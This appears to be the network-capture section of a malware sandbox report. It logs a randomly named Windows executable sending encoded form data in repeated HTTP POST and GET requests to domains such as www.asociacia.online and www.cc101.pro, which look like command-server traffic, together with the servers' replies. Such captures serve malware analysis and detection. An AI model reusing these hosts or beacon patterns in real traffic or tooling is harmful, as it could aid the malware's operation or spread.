                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 6b 32 33 43 4d 77 4c 63 70 6b 73 33 79 49 74 76 64 6c 59 6b 59 48 65 37 65 52 31 50 56 61 54 6d 78 2f 57 45 4f 58 7a 33 4d 4d 45 47 6f 59 57 64 50 64 58 42 61 46 7a 38 67 66 44 67 70 35 6b 5a 52 4e 6e 42 30 78 36 66 37 5a 54 58 59 4a 30 56 36 51 45 57 6c 74 49 56 36 37 69 39 64 7a 64 74 51 74 58 34 79 59 35 33 75 53 2f 71 50 4f 77 41 55 4f 31 54 44 77 4a 4e 30 41 6b 55 51 72 4f 57 6b 49 4f 6b 4a 54 34 51 54 6f 45 41 69 4f 51 6f 48 5a 4f 34 66 45 64 4f 62 4c 53 77 48 51 42 72 50 53 4c 2b 65 47 33 56 2b 4a 54 71 6e 67 73 6b 43 69 67 48 54 6c 77 4e 65 67 43 67 6a 43 70 58 4a 76 68 56 46 67 62 44 44 79 4b 4b 4f 5a 4b 34 37 79 31 4d 52 50 70 6a 72 4e 62 69 52 54 49 4b 79 58 72 6a 6f 78 5a 6e 31 75 30 54 63 64 64 72 62 61 55 56 44 6e 32 38 38 59 4f 61 69 41 39 76 36 4a 33 61 55 47 61 35 53 34 6e 6e 52 38 68 4d 69 65 75 5a 43 66 6a 5a 73 4c 59 6d 67 4b 4c 68 6d 4e 74 61 2f 2f 48 57 4c 48 7a 2b 74 70 68 55 55 2f 57 32 73 4a 65 66 51 49 2b 6e 76 38 49 39 36 2b 62 6c 50 71 50 4c 31 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=k23CMwLcpks3yItvdlYkYHe7eR1PVaTmx/WEOXz3MMEGoYWdPdXBaFz8gfDgp5kZRNnB0x6f7ZTXYJ0V6QEWltIV67i9dzdtQtX4yY53uS/qPOwAUO1TDwJN0AkUQrOWkIOkJT4QToEAiOQoHZO4fEdObLSwHQBrPSL+eG3V+JTqngskCigHTlwNegCgjCpXJvhVFgbDDyKKOZK47y1MRPpjrNbiRTIKyXrjoxZn1u0TcddrbaUVDn288YOaiA9v6J3aUGa5S4nnR8hMieuZCfjZsLYmgKLhmNta//HWLHz+tphUU/W2sJefQI+nv8I96+blPqPL1r5zPkICcAtL9SFYad2ZsZYtbBHSyj+xRAkSWSvhHfjh7r0MuGZfdPQQQUvkaUq8WldzPuB32vu9+IkPTXULHryEqakRvQYzBO792PA4yznVvHFwV/Op70DXkJcsoirBEJ+6fczhHb0fKSfCQUBA5yvhWwzEBLv1q0b0pFlGiH3rs8Bwn3BSlBhef2fCaTrg7KhwcJy81lYPQaUzgJE4dx6ZrqUJbWZDtkgWBpUIeuoZ3T2PzxqbWRhRzshFrL6w3JSJKMfiNv6yozChy95vtwTUyYkRA9dmzN9jZfqBEbGVrCt9Mz6SAEoSiTkZp/OMaZTdz3DLNbIyR8GJnCNhhlqE86ZeWv569BaqmnqPV3p6dZlli0DmsYfNN3prwmv4793sbNieuKT8zG3JWEbyc8qiRMAvZGT+PBTKoVpIV2M7wcKyfmmRzaeKEt/amrGqPewt2vh6+xvMxO5k74IxYqrBSq+Wf8d2hIGEXR8Mi7Glv/qFv6xQV/GM1jrEb8MCxoZdtwcSCZXB8zBq7TaApaX2D5HH/2FpSsJ4nlPe90BMRa5UtE7Qa25iayIxhjKRT0+TjY7nRGSf9r+XC3exxQo5hS7GaB5lsyXqufd1ZVyaUL/c/6VYzaIwGhuWx2yFpnIYuB4ZsZBOKxV+Ey/Jab+8BkpD6TTMFiA [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:30:41.545663118 CEST1236INHTTP/1.1 405 Not Allowed
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:41 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yp6jw679ODM5nMsCD2KQtCNxlRCy8z1iISzdvffNjC74Q%2FR6svFM%2BYpdStzHXEFXVPy3sOdzSDRR24VRfLUngBlv%2FPGKrF%2FkE6DDoDGBSRTVke3kLtZOjCpnu6uZR2yc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e7e87c7a477e-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1156&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1709&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: 228<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->...
                                                                                                                                                                    Oct 25, 2024 16:30:41.545730114 CEST70INData Raw: 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: a padding to disable MSIE and Chrome friendly error page -->0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    52192.168.2.562239188.114.97.3802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:42.716972113 CEST422OUTGET /4hfb/?tD38rnpX=p0fiPEbR7h0D1ZUOfVsjdEWFV3Vqdd7ztt+ba1ipU50QpLeGbsfhVX/xlcry6cJcaLbXkWa/uL73QIBTv0okiuskq6GJdh4BWenpy8UN30vYH/0dDo4sL0pwx2EUFqHf/Q==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.cc101.pro
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Oct 25, 2024 16:30:43.968966961 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:43 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Last-Modified: Tue, 01 Oct 2024 05:45:59 GMT
                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hLWlS0zVQT1hTDLSRYi438JjXGVLfaFxCmLD0VEfy1wOf4oalYEluW8p6w%2F4mYJtxNCkbN%2BTs6iUqyhA1MPPD9hzd50hSnarR70%2FveY5EjXKmRvEQhYYiKIFtHu7VwYm"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8d82e7f88f1ee7bf-DFW
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1349&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=422&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                    Data Raw: 65 35 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 ac a2 e8 bf 8e e5 85 89 e4 b8 b4 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 36 65 61 65 62 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 3a 20 32 30 30 70 78 20 61 75 74 6f 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 20 30 20 32 32 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a [TRUNCATED]
                                                                                                                                                                    Data Ascii: e5f<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <title></title> </head> <body style="background: #e6eaeb;"> <div style="position: relative;margin: 200px auto 0;padding: 0 0 22px;border-radius: 15px 15px 5px 5px;background: #fff;box-shadow: 10px 20px 20px rgba(101, 102, 103, .75);width:95%;m
                                                                                                                                                                    Oct 25, 2024 16:30:43.969130993 CEST1236INData Raw: 61 78 2d 77 69 64 74 68 3a 20 34 30 30 70 78 3b 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 61 6e 76 61 73 20 69 64 3d 22 63 61 6e 76 61 73 22 20
                                                                                                                                                                    Data Ascii: ax-width: 400px;color: #fff;text-align: center;"> <canvas id="canvas" width="200" height="200" style="display:block;position:absolute;top:-100px;left:0;right:0;margin:0 auto;background:#fff;border-radius:50%;"></canvas>
                                                                                                                                                                    Oct 25, 2024 16:30:43.969137907 CEST1236INData Raw: 72 61 6d 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 72 61 77 46 72 61 6d 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 74 78 2e 63 6c 65 61 72 52 65 63 74 28 30
                                                                                                                                                                    Data Ascii: rame(); function drawFrame() { ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.save(); ctx.translate(ras, ras); ctx.beginPath();
                                                                                                                                                                    Oct 25, 2024 16:30:43.969981909 CEST636INData Raw: 20 20 20 20 20 20 20 20 20 20 20 62 74 6e 2e 6f 6e 63 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 68 72
                                                                                                                                                                    Data Ascii: btn.onclick = function() { location.href = 'http://156.226.108.99:28888/'; } ; btn.style.background = '#36A11E'
                                                                                                                                                                    Oct 25, 2024 16:30:43.970235109 CEST146INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 20 27 e8 af b7 e7 82 b9 e5 87 bb e8 bf 9b e5 85 a5 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                    Data Ascii: document.title = '' } } } </script> </body></html>0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    53192.168.2.56224081.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:49.078994989 CEST693OUTPOST /bf6k/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.asociacia.online
                                                                                                                                                                    Origin: http://www.asociacia.online
                                                                                                                                                                    Referer: http://www.asociacia.online/bf6k/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 62 6b 47 75 57 45 65 43 66 6e 71 62 6e 4b 36 68 47 68 37 6c 77 76 43 66 61 59 31 38 30 32 47 74 4a 57 68 31 75 36 44 2f 4e 51 65 57 79 48 74 4b 64 38 68 6d 35 57 58 59 61 66 4f 64 6e 71 6c 48 35 30 6c 67 69 53 2b 6a 50 56 6c 73 2f 68 4b 64 7a 51 63 6b 52 71 33 75 6a 2b 52 38 50 61 70 74 67 52 56 36 38 52 38 4a 4e 59 66 55 77 30 33 6d 74 35 2b 37 55 77 70 30 76 53 4b 7a 30 38 58 55 7a 49 44 66 39 77 6b 75 6f 35 4d 30 59 62 2b 6c 38 61 7a 6a 4a 4d 35 6c 4c 4e 44 64 55 74 66 56 4d 74 58 76 2b 4c 55 79 2b 61 43 41 58 65 63 49 39 36 2b 70 68 63 76 37 38 41 44 77 6f 78 69 45 2b 6c 61 44 79 39 59 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=bkGuWEeCfnqbnK6hGh7lwvCfaY1802GtJWh1u6D/NQeWyHtKd8hm5WXYafOdnqlH50lgiS+jPVls/hKdzQckRq3uj+R8PaptgRV68R8JNYfUw03mt5+7Uwp0vSKz08XUzIDf9wkuo5M0Yb+l8azjJM5lLNDdUtfVMtXv+LUy+aCAXecI96+phcv78ADwoxiE+laDy9Y=
                                                                                                                                                                    Oct 25, 2024 16:30:49.916938066 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:49 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                    54192.168.2.56224181.2.196.1980
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:51.626391888 CEST713OUTPOST /bf6k/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 229
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.asociacia.online
                                                                                                                                                                    Origin: http://www.asociacia.online
                                                                                                                                                                    Referer: http://www.asociacia.online/bf6k/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 62 6b 47 75 57 45 65 43 66 6e 71 62 6d 70 53 68 4b 69 54 6c 79 50 43 63 45 49 31 38 39 57 47 68 4a 58 64 31 75 37 47 79 4b 6d 47 57 78 6d 64 4b 63 39 68 6d 38 57 58 59 53 2f 4f 63 36 61 6c 4d 35 30 34 56 69 54 43 6a 50 56 68 73 2f 67 36 64 77 68 63 6a 52 36 33 73 33 4f 52 2b 42 36 70 74 67 52 56 36 38 52 6f 6a 4e 59 48 55 78 46 48 6d 75 59 2b 34 63 51 70 33 2f 69 4b 7a 6c 4d 58 51 7a 49 44 78 39 78 6f 41 6f 37 45 30 59 5a 6d 6c 39 4a 72 67 51 38 35 6a 57 64 44 4e 61 64 79 71 49 75 6e 67 69 6f 5a 70 2b 72 69 6a 62 49 78 69 6e 59 32 42 79 38 44 44 73 54 4c 48 35 42 44 74 6b 47 4b 7a 73 71 4f 46 6f 48 37 44 39 7a 44 66 55 70 42 2b 64 35 53 61 61 5a 68 78
                                                                                                                                                                    Data Ascii: tD38rnpX=bkGuWEeCfnqbmpShKiTlyPCcEI189WGhJXd1u7GyKmGWxmdKc9hm8WXYS/Oc6alM504ViTCjPVhs/g6dwhcjR63s3OR+B6ptgRV68RojNYHUxFHmuY+4cQp3/iKzlMXQzIDx9xoAo7E0YZml9JrgQ85jWdDNadyqIungioZp+rijbIxinY2By8DDsTLH5BDtkGKzsqOFoH7D9zDfUpB+d5SaaZhx
                                                                                                                                                                    Oct 25, 2024 16:30:52.483670950 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:52 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    55192.168.2.56224281.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:54.176933050 CEST1730OUTPOST /bf6k/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.asociacia.online
                                                                                                                                                                    Origin: http://www.asociacia.online
                                                                                                                                                                    Referer: http://www.asociacia.online/bf6k/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 62 6b 47 75 57 45 65 43 66 6e 71 62 6d 70 53 68 4b 69 54 6c 79 50 43 63 45 49 31 38 39 57 47 68 4a 58 64 31 75 37 47 79 4b 6d 4f 57 79 55 56 4b 61 65 5a 6d 2f 57 58 59 59 66 4f 42 36 61 6c 56 35 30 77 52 69 54 50 63 50 58 70 73 39 47 75 64 34 7a 6b 6a 43 61 33 73 31 4f 52 39 50 61 70 34 67 52 46 32 38 52 34 6a 4e 59 48 55 78 47 50 6d 36 35 2b 34 61 51 70 30 76 53 4b 33 30 38 58 6f 7a 49 62 48 39 78 38 2b 70 50 77 30 59 35 32 6c 77 62 7a 67 5a 38 35 68 56 64 43 53 61 64 2b 4c 49 75 37 61 69 70 64 48 2b 73 57 6a 65 74 73 68 31 6f 36 73 6d 4f 58 39 68 77 65 72 37 46 48 51 6b 55 48 47 6b 6f 43 66 6c 33 72 66 30 46 7a 48 65 71 73 68 42 50 6a 4d 61 63 6f 70 6f 4e 31 6c 43 50 62 36 66 4d 75 39 62 69 47 31 6a 31 49 57 67 36 37 49 4e 4b 62 61 75 68 63 5a 67 58 76 5a 59 51 4b 4f 55 2f 70 53 6d 66 53 48 46 64 6e 4d 62 53 51 65 78 6a 59 58 79 4d 58 61 4d 64 44 6c 35 4b 68 45 70 48 53 32 51 49 31 71 6f 79 51 69 38 57 45 52 58 55 48 72 33 36 4a 46 68 48 46 6c 53 59 6a 32 56 62 32 6b 66 [TRUNCATED]
                                                                                                                                                                    Data Ascii: tD38rnpX=bkGuWEeCfnqbmpShKiTlyPCcEI189WGhJXd1u7GyKmOWyUVKaeZm/WXYYfOB6alV50wRiTPcPXps9Gud4zkjCa3s1OR9Pap4gRF28R4jNYHUxGPm65+4aQp0vSK308XozIbH9x8+pPw0Y52lwbzgZ85hVdCSad+LIu7aipdH+sWjetsh1o6smOX9hwer7FHQkUHGkoCfl3rf0FzHeqshBPjMacopoN1lCPb6fMu9biG1j1IWg67INKbauhcZgXvZYQKOU/pSmfSHFdnMbSQexjYXyMXaMdDl5KhEpHS2QI1qoyQi8WERXUHr36JFhHFlSYj2Vb2kfxaXv8kRJuGt29T/QzCab3+ZDVqSdn183p2oG5zL4uaj3+s/f6EcOFA31TVnuEHJea/8xJCGZYyYVv+C2wpbye7Rh2g2Qnd9KxgoEtVXkmAfXZsrKeE7Iit9OSTJqBH0aqICrg9CRc1BdS9OZ9Ec/UoypWIoznf3NZwlEqBFaSWrx9Y4ToDwj80HZrLocy5cY6PQP/k5DEq51d4F3gVnVmCd3KnCjSoxIP8cPhooHyPLOdawIz/c9R+XNS3IgmbG1vhYNhe7RTHzvAyOk8ZAEJKt8AmuVM1Ni1ZJsBBfB85dPAF0YAv8+FdcaFq8a+gXv/Sf2PPifGPTSFjfC/3iwE3DoFkfpM+2ifswvj5m5gNf9F9TNgcEfJg8mFHBdXbWjXy5c3Y7XX3Kb2qKcCSp7Ux/UDcQnIj1OOTlwCm4X3Q6oWPgscYyOHnqXWi7jXthVysiD4HNUPo0LC8mzC15chfId5YxDL4ALqZHZkNnQ8W7gXJJiWfFGfmtoEJg9iX3Ji+OPfLijVXdwkXHCw0Ua9NnaifFeKnnp/leMItXcKtYfi9tYio86pJ2hMuMdUjzyHf0zWQPNMFMHsSPi5bxLKibJ/eXlp/FWLQzS2uF2GsiQGGa5d9ogPXENcvZqAcMWVexDCWQjGzykzNc23wsvMWr+fPHsu/Cyg6 [TRUNCATED]
                                                                                                                                                                    Oct 25, 2024 16:30:55.025851965 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:30:54 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    56192.168.2.56224381.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:30:56.864157915 CEST429OUTGET /bf6k/?EjY0i=xfOdKrMPu&tD38rnpX=WmuOVz+RC0WxuKvAKjLazsuJSut05UnIYH9cvZCoa2K6/WBiXNRHwXvjS8aBoIFx3RUgrEeQYXBh1DGCvEwods33kMwpJrQrnTNrxCZFMqbP6nPotYffTTpL7BSxlfubkw== HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.asociacia.online
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
